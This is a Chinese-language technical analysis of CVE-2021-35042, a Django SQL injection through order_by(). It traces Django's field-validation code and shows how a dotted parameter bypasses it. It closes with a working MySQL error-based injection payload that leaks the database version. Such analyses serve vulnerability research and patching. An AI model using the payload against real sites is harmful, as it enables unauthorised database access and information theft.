CVE-2021-35042 Django SQL注入
该漏洞是由于对QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SQL注入攻击,最终造成服务器敏感信息泄露。
先本地创建一个Django环境,使用的版本为Django 3.1.10。具体的示例代码就使用:https://github.com/YouGina/CVE-2021-35042。
Order_by参数获取
其中获取GET参数值的是request.GET.get('order_by', 'name')
这么一段,从order_by 中获取值,缺省为name。这个name的意思是数据库的字段。在models.py文件中有定义,也就是其实获取的是需要去查询的数据库字段名。
class User(models.Model):
name = models.CharField(max_length=200)
def __str__(self):
return self.name
order_by这个参数的作用的排序,对一个列或者多个值进行升序或者降序的排列。比如:
SELECT * FROM Websites ORDER BY alexa DESC;
上面这个SQL的意思就是,按照按照Alexa的顺序降序排列,DESC为降序,ASC为升序。
此问题按照官方的说法是:绕过标记为弃用的路径中的预期列引用验证。
流程分析
在这里我们先输入一个不存在的字段名name4,查看一下是怎样一个流程。首先进入如下函数,判断order_by 的排序顺序和表达式。
def add_ordering(self, *ordering):
"""
Add items from the 'ordering' sequence to the query's "order by"
clause. These items are either field names (not column names) --
possibly with a direction prefix ('-' or '?') -- or OrderBy
expressions.
If 'ordering' is empty, clear all ordering from the query.
"""
errors = []
for item in ordering:
if isinstance(item, str):
if '.' in item:
warnings.warn(
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item,
category=RemovedInDjango40Warning,
stacklevel=3,
)
continue
if item == '?':
continue
if item.startswith('-'):
item = item[1:]
if item in self.annotations:
continue
if self.extra and item in self.extra:
continue
# names_to_path() validates the lookup. A descriptive
# FieldError will be raise if it's not.
self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)
elif not hasattr(item, 'resolve_expression'):
errors.append(item)
if getattr(item, 'contains_aggregate', False):
raise FieldError(
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s' % item
)
if errors:
raise FieldError('Invalid order_by arguments: %s' % errors)
if ordering:
self.order_by += ordering
else:
self.default_ordering = False
函数走到names_to_path
的时候会根据传入的参数生成一个PathInfo 元组。返回最终的字段和没有找到的字段。其中opts代表模型选项,这里代表的这个表。然后去获取传入的字段值。当最后找不到这个字段的时候,会报一个Cannot resolve keyword '%s' into field
的错误,也就是我们最后会看到的错误。
def names_to_path(self, names, opts, allow_many=True, fail_on_missing=False):
path, names_with_path = [], []
for pos, name in enumerate(names):
cur_names_with_path = (name, [])
if name == 'pk':
name = opts.pk.name
field = None
filtered_relation = None
try:
field = opts.get_field(name)
except FieldDoesNotExist:
if name in self.annotation_select:
field = self.annotation_select[name].output_field
elif name in self._filtered_relations and pos == 0:
filtered_relation = self._filtered_relations[name]
field = opts.get_field(filtered_relation.relation_name)
if field is not None:
# Fields that contain one-to-many relations with a generic
# model (like a GenericForeignKey) cannot generate reverse
# relations and therefore cannot be used for reverse querying.
if field.is_relation and not field.related_model:
raise FieldError(
"Field %r does not generate an automatic reverse "
"relation and therefore cannot be used for reverse "
"querying. If it is a GenericForeignKey, consider "
"adding a GenericRelation." % name
)
try:
model = field.model._meta.concrete_model
except AttributeError:
# QuerySet.annotate() may introduce fields that aren't
# attached to a model.
model = None
else:
# We didn't find the current field, so move position back
# one step.
pos -= 1
if pos == -1 or fail_on_missing:
available = sorted([
*get_field_names_from_opts(opts),
*self.annotation_select,
*self._filtered_relations,
])
raise FieldError("Cannot resolve keyword '%s' into field. "
"Choices are: %s" % (name, ", ".join(available)))
break
get_field
函数的意思是返回一个字段名称的字段实例。对应的表内字段名和字段实例的字典类型。其中_forward_fields_map
和fields_map
的作用是相同的,就是后者还会检查一些内部的其他字段。
def get_field(self, field_name):
"""
Return a field instance given the name of a forward or reverse field.
"""
try:
# In order to avoid premature loading of the relation tree
# (expensive) we prefer checking if the field is a forward field.
return self._forward_fields_map[field_name]
except KeyError:
# If the app registry is not ready, reverse fields are
# unavailable, therefore we throw a FieldDoesNotExist exception.
if not self.apps.models_ready:
raise FieldDoesNotExist(
"%s has no field named '%s'. The app cache isn't ready yet, "
"so if this is an auto-created related field, it won't "
"be available yet." % (self.object_name, field_name)
)
try:
# Retrieve field instance by name from cached or just-computed
# field map.
return self.fields_map[field_name]
except KeyError:
raise FieldDoesNotExist("%s has no field named '%s'" % (self.object_name, field_name))
最后都不存在的情况下会告知,User has no field named name4
。
当然如果是存在的字段,比如name,程序从get_field获取到的field就是cve_orderby.User.name
。也就是不管传入的参数是否正常,只要走了names_to_path
最后都会返回不存在字段或者存在的字段实例对象,而不是拼接SQL去执行,那么至少在这里就不能造成SQL注入了。整个执行的代码都为:SELECT "cve_orderby_user"."id", "cve_orderby_user"."name" FROM "cve_orderby_user"
。
在查了一堆资料发现这个问题其实是绕过names_to_path
这个判断,在函数add_ordering
中,主要有五个判断:
- 字段中是否带点,带的话提示传入的是原始列的别名,并警告不建议这么使用。
- 字段是否为问号。
- 字段开头是否为短横杠。
- 判断是否在一个map字典里,暂时也不知道是干啥的。
- 判断是否有额外的参数信息。
所以,此处我们传一个带点的参数,比如name.name
。到add_ordering
中的时候,走到这个函数上,由于存在continue的作用,将跳过后续的判断,也就是不在进行names_to_path
,无法获取字段的实例对象。
后续进入_fetch_all的时候就已经生成SQL:SELECT "cve_orderby_user"."id", "cve_orderby_user"."name" FROM "cve_orderby_user" ORDER BY ("name".name) ASC
。也就是把参数name.name拼接进去。
于是构造一条语句,注意这里使用的是MySQL数据库。构造:SELECT cve_orderby_user.id, cve_orderby_user.name FROM cve_orderby_user ORDER BY (cve_orderby_user.name);select updatexml(1,concat(0x7e,(select @@version)),1);#) ASC
只需要传输参数:cve_orderby_user.name);select updatexml(1,concat(0x7e,(select @@version)),1);#